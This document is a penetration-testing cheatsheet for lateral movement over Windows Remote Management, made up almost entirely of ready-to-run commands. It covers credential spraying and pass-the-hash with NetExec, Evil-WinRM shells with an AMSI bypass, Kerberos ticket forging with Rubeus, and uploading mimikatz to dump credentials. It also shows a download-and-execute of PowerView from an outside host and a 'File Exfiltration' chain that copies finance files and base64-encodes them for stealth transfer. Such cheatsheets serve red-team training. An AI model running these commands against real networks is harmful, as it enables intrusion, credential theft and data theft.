WinRM for lateral movement
WinRM Lateral Movement Cheatsheet
🔍 Enumeration
Port Scanning
# Check for WinRM ports (5985=HTTP, 5986=HTTPS)
nmap -p5985,5986 <IP> -sCV
Credential Testing
# Test credentials with NetExec
netexec winrm <IP> -u <user> -p <password>
netexec winrm <IP> -u <user> -H <NTLM_hash>
# Note: (Pwn3d!) means you can connect, NOT necessarily admin
🪟 From Windows
PowerShell Commands
Basic Execution
# Execute single command
Invoke-Command -ComputerName <target> -ScriptBlock { hostname; whoami }
# With explicit credentials
$username = "DOMAIN\username"
$password = "password123"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)
Invoke-Command -ComputerName <target> -Credential $credential -ScriptBlock { whoami }
# Using IP instead of hostname (requires explicit creds or -Authentication Negotiate)
Invoke-Command -ComputerName 172.20.0.52 -Credential $credential -ScriptBlock { whoami }
Interactive Session
# Create session
$session = New-PSSession -ComputerName <target> -Credential $credential
# Enter interactive session
Enter-PSSession $session
# OR directly
Enter-PSSession <target>
# Exit session
Exit-PSSession
File Transfer
# Create session first
$session = New-PSSession -ComputerName <target> -Credential $credential
# Copy TO remote machine
Copy-Item -ToSession $session -Path 'C:\local\file.txt' -Destination 'C:\remote\file.txt'
# Copy FROM remote machine
Copy-Item -FromSession $session -Path 'C:\remote\file.txt' -Destination 'C:\local\file.txt'
WinRS Commands
# Basic execution
winrs -r:<target> "whoami"
winrs -r:<target> "powershell -c hostname;whoami"
# With credentials
winrs /remote:<target> /username:<user> /password:<pass> "whoami"
Using Kerberos Tickets
# 1. Forge TGT with Rubeus
.\Rubeus.exe asktgt /user:<user> /rc4:<NTLM_hash> /nowrap
# 2. Create sacrificial process
.\Rubeus.exe createnetonly /program:powershell.exe /show
# 3. Import ticket (in new powershell window)
.\Rubeus.exe ptt /ticket:<base64_ticket>
# 4. Connect using ticket
Enter-PSSession <target>.domain.local -Authentication Negotiate
🐧 From Linux
Evil-WinRM
Installation
sudo apt-get install ruby
sudo gem install evil-winrm
Basic Usage
# Connect with password
evil-winrm -i <IP> -u 'DOMAIN\user' -p 'password'
evil-winrm -i <IP> -u 'user' -p 'password'
# Connect with hash
evil-winrm -i <IP> -u 'user' -H <NTLM_hash>
# Load PowerShell scripts
evil-winrm -i <IP> -u 'user' -p 'pass' -s '/path/to/scripts/'
Evil-WinRM Commands
# Inside evil-winrm shell
menu # Show available features
upload /local/file.exe # Upload file
download C:\file.txt # Download file
PowerView.ps1 # Load script (if in -s path)
Bypass-4MSI # Bypass AMSI
NetExec Commands
# Execute CMD commands
netexec winrm <IP> -u <user> -p <pass> -x "ipconfig"
# Execute PowerShell commands
netexec winrm <IP> -u <user> -p <pass> -X "Get-Process"
# With hash
netexec winrm <IP> -u <user> -H <hash> -x "whoami"
🔧 Troubleshooting
Common Fixes
# TrustedHosts error - run as admin
Set-Item WSMan:localhost\client\trustedhosts -value * -Force
# Use FQDN instead of hostname
Enter-PSSession srv02.domain.local # Good
Enter-PSSession srv02 # May fail
# Use Authentication Negotiate for issues
Enter-PSSession <target> -Authentication Negotiate
⚡ Action Chains
Chain 1: Enumeration → Access → Persistence
# 1. Scan for WinRM
nmap -p5985,5986 10.10.10.0/24 --open
# 2. Test found creds
netexec winrm 10.10.10.5 -u users.txt -p passwords.txt
# 3. Get shell
evil-winrm -i 10.10.10.5 -u 'admin' -p 'Pass123!'
# 4. Upload tools
upload /tools/mimikatz.exe C:\Windows\Temp\mimi.exe
# 5. Dump more creds
C:\Windows\Temp\mimi.exe "sekurlsa::logonpasswords" exit
Chain 2: Ticket → Lateral Movement → Pivot
# 1. On compromised Windows box, forge ticket
.\Rubeus.exe asktgt /user:svcacct /rc4:abc123def456 /nowrap
# 2. Create process and import
.\Rubeus.exe createnetonly /program:powershell.exe /show
.\Rubeus.exe ptt /ticket:<ticket>
# 3. Connect to next target
Enter-PSSession DC01.corp.local -Authentication Negotiate
# 4. From new session, setup pivot
[DC01]: PS> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')
[DC01]: PS> Get-DomainComputer
Chain 3: Linux → Windows → Domain Enum
# 1. Initial foothold
evil-winrm -i 192.168.1.100 -u 'bob' -p 'Summer2024!' -s '/opt/tools/'
# 2. Load PowerView
*Evil-WinRM* PS> PowerView.ps1
*Evil-WinRM* PS> Get-DomainUser -Properties samaccountname,memberof
# 3. Find more targets
*Evil-WinRM* PS> Get-DomainComputer | select dnshostname,operatingsystem
# 4. Move laterally
*Evil-WinRM* PS> $pass = ConvertTo-SecureString 'Admin123!' -AsPlainText -Force
*Evil-WinRM* PS> $cred = New-Object System.Management.Automation.PSCredential('CORP\admin', $pass)
*Evil-WinRM* PS> Invoke-Command -Computer DC01 -Credential $cred -ScriptBlock {whoami}
Chain 4: File Exfiltration
# 1. Create session to target
$s = New-PSSession -ComputerName FileServer -Credential $cred
# 2. Search for sensitive files
Invoke-Command -Session $s -ScriptBlock {
Get-ChildItem -Path C:\ -Include *.xlsx,*.docx,*.txt -Recurse -ErrorAction SilentlyContinue |
Where {$_.Length -lt 1MB}
}
# 3. Copy files back
Copy-Item -FromSession $s -Path 'C:\Finance\*.xlsx' -Destination 'C:\loot\' -Recurse
# 4. Base64 encode for stealth transfer
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\loot\passwords.xlsx"))
📝 Quick Tips
- Default WinRM Group:
Remote Management Users
- Ports: 5985 (HTTP), 5986 (HTTPS)
- Double Hop Problem: Can't pivot from WinRM session without re-authenticating
- JEA: Just Enough Administration limits commands - check what's allowed
- PowerShell Web Access: Default path
/pswa on port 80/443
🎯 Key Indicators
(Pwn3d!) in NetExec = Can connect via WinRM
- Port 5985 open = WinRM HTTP enabled
- Port 5986 open = WinRM HTTPS enabled
- "Access Denied" = Valid creds but no WinRM rights
- "Authentication failed" = Invalid credentials